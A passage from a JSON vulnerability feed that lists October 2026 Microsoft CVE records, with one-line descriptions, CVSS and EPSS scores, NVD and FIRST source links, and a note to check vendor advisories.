score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70299&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70299, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70297","cveId":"CVE-2026-70297","aliases":[],"kind":"vulnerability","title":"Absolute path traversal in Skype for Business and Microsoft Lync allows an authorized attacker to execute code over a network.","summary":"Absolute path traversal in Skype for Business and Microsoft Lync allows an authorized attacker to execute code over a network.","detail":"Absolute path traversal in Skype for Business and Microsoft Lync allows an authorized attacker to execute code over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:49.643Z","updatedAt":"2026-10-13T21:18:18.007Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70297","asOf":"2026-10-13T21:18:18.007Z"},"epss":{"probability":0.0116,"percentile":0.66913,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70297&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70297","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70297","type":"primary","publishedAt":"2026-10-13T19:19:49.643Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70297&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70297, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70286","cveId":"CVE-2026-70286","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Win32K - GRFX allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Win32K - GRFX allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Win32K - GRFX allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:48.323Z","updatedAt":"2026-10-16T16:20:51.890Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Windows"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70286","asOf":"2026-10-16T16:20:51.890Z"},"epss":{"probability":0.0042,"percentile":0.36,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70286&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70286","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70286","type":"primary","publishedAt":"2026-10-13T19:19:48.323Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70286&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70286, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70278","cveId":"CVE-2026-70278","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Windows Media Foundation allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Microsoft Windows Media Foundation allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Microsoft Windows Media Foundation allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:47.180Z","updatedAt":"2026-10-16T16:20:51.040Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Windows"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70278","asOf":"2026-10-16T16:20:51.040Z"},"epss":{"probability":0.00307,"percentile":0.23262,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70278&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70278","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70278","type":"primary","publishedAt":"2026-10-13T19:19:47.180Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70278&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70278, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70275","cveId":"CVE-2026-70275","aliases":[],"kind":"vulnerability","title":"Untrusted pointer dereference in Windows CD-ROM Driver allows an unauthorized attacker to execute code over a network.","summary":"Untrusted pointer dereference in Windows CD-ROM Driver allows an unauthorized attacker to execute code over a network.","detail":"Untrusted pointer dereference in Windows CD-ROM Driver allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:46.693Z","updatedAt":"2026-10-16T16:20:50.643Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70275","asOf":"2026-10-16T16:20:50.643Z"},"epss":{"probability":0.00948,"percentile":0.60929,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70275&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70275","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70275","type":"primary","publishedAt":"2026-10-13T19:19:46.693Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70275&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70275, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70274","cveId":"CVE-2026-70274","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:46.567Z","updatedAt":"2026-10-13T21:18:15.413Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70274","asOf":"2026-10-13T21:18:15.413Z"},"epss":{"probability":0.00361,"percentile":0.29675,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70274&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70274","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70274","type":"primary","publishedAt":"2026-10-13T19:19:46.567Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70274&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70274, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70272","cveId":"CVE-2026-70272","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:46.127Z","updatedAt":"2026-10-16T16:20:50.350Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70272","asOf":"2026-10-16T16:20:50.350Z"},"epss":{"probability":0.00286,"percentile":0.20928,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70272&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70272","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70272","type":"primary","publishedAt":"2026-10-13T19:19:46.127Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70272&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70272, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70262","cveId":"CVE-2026-70262","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in WebDAV allows an unauthorized attacker to elevate privileges over a network.","summary":"Heap-based buffer overflow in WebDAV allows an unauthorized attacker to elevate privileges over a network.","detail":"Heap-based buffer overflow in WebDAV allows an unauthorized attacker to elevate privileges over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:44.897Z","updatedAt":"2026-10-16T16:20:49.500Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70262","asOf":"2026-10-16T16:20:49.500Z"},"epss":{"probability":0.00948,"percentile":0.60927,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70262&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70262","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70262","type":"primary","publishedAt":"2026-10-13T19:19:44.897Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70262&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70262, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70258","cveId":"CVE-2026-70258","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:44.240Z","updatedAt":"2026-10-16T16:20:48.930Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Windows"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70258","asOf":"2026-10-16T16:20:48.930Z"},"epss":{"probability":0.00948,"percentile":0.60929,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70258&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70258","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70258","type":"primary","publishedAt":"2026-10-13T19:19:44.240Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70258&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70258, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70255","cveId":"CVE-2026-70255","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Desktop Window Manager allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Desktop Window Manager allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Desktop Window Manager allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:43.860Z","updatedAt":"2026-10-16T16:20:48.670Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70255","asOf":"2026-10-16T16:20:48.670Z"},"epss":{"probability":0.00404,"percentile":0.34336,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70255&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70255","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70255","type":"primary","publishedAt":"2026-10-13T19:19:43.860Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70255&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70255, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70252","cveId":"CVE-2026-70252","aliases":[],"kind":"vulnerability","title":"Use after free in Virtual Hard Disk (VHD) Miniport Driver allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Virtual Hard Disk (VHD) Miniport Driver allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Virtual Hard Disk (VHD) Miniport Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:43.030Z","updatedAt":"2026-10-16T16:20:48.290Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70252","asOf":"2026-10-16T16:20:48.290Z"},"epss":{"probability":0.00286,"percentile":0.20921,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70252&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70252","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70252","type":"primary","publishedAt":"2026-10-13T19:19:43.030Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70252&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70252, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70250","cveId":"CVE-2026-70250","aliases":[],"kind":"vulnerability","title":"Use after free in Windows DHCP Client allows an unauthorized attacker to execute code over an adjacent network.","summary":"Use after free in Windows DHCP Client allows an unauthorized attacker to execute code over an adjacent network.","detail":"Use after free in Windows DHCP Client allows an unauthorized attacker to execute code over an adjacent network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:42.457Z","updatedAt":"2026-10-13T21:18:12.450Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70250","asOf":"2026-10-13T21:18:12.450Z"},"epss":{"probability":0.00477,"percentile":0.40923,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70250&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70250","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70250","type":"primary","publishedAt":"2026-10-13T19:19:42.457Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70250&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70250, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70247","cveId":"CVE-2026-70247","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows HTTP.sys allows an authorized attacker to execute code locally.","summary":"Out-of-bounds read in Windows HTTP.sys allows an authorized attacker to execute code locally.","detail":"Out-of-bounds read in Windows HTTP.sys allows an authorized attacker to execute code locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:41.797Z","updatedAt":"2026-10-16T16:20:47.677Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70247","asOf":"2026-10-16T16:20:47.677Z"},"epss":{"probability":0.00348,"percentile":0.28094,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70247&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70247","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70247","type":"primary","publishedAt":"2026-10-13T19:19:41.797Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70247&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70247, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70245","cveId":"CVE-2026-70245","aliases":[],"kind":"vulnerability","title":"Access of resource using incompatible type ('type confusion') in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.","summary":"Access of resource using incompatible type ('type confusion') in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.","detail":"Access of resource using incompatible type ('type confusion') in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:41.417Z","updatedAt":"2026-10-16T16:20:47.430Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70245","asOf":"2026-10-16T16:20:47.430Z"},"epss":{"probability":0.00433,"percentile":0.37359,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70245&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70245","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70245","type":"primary","publishedAt":"2026-10-13T19:19:41.417Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 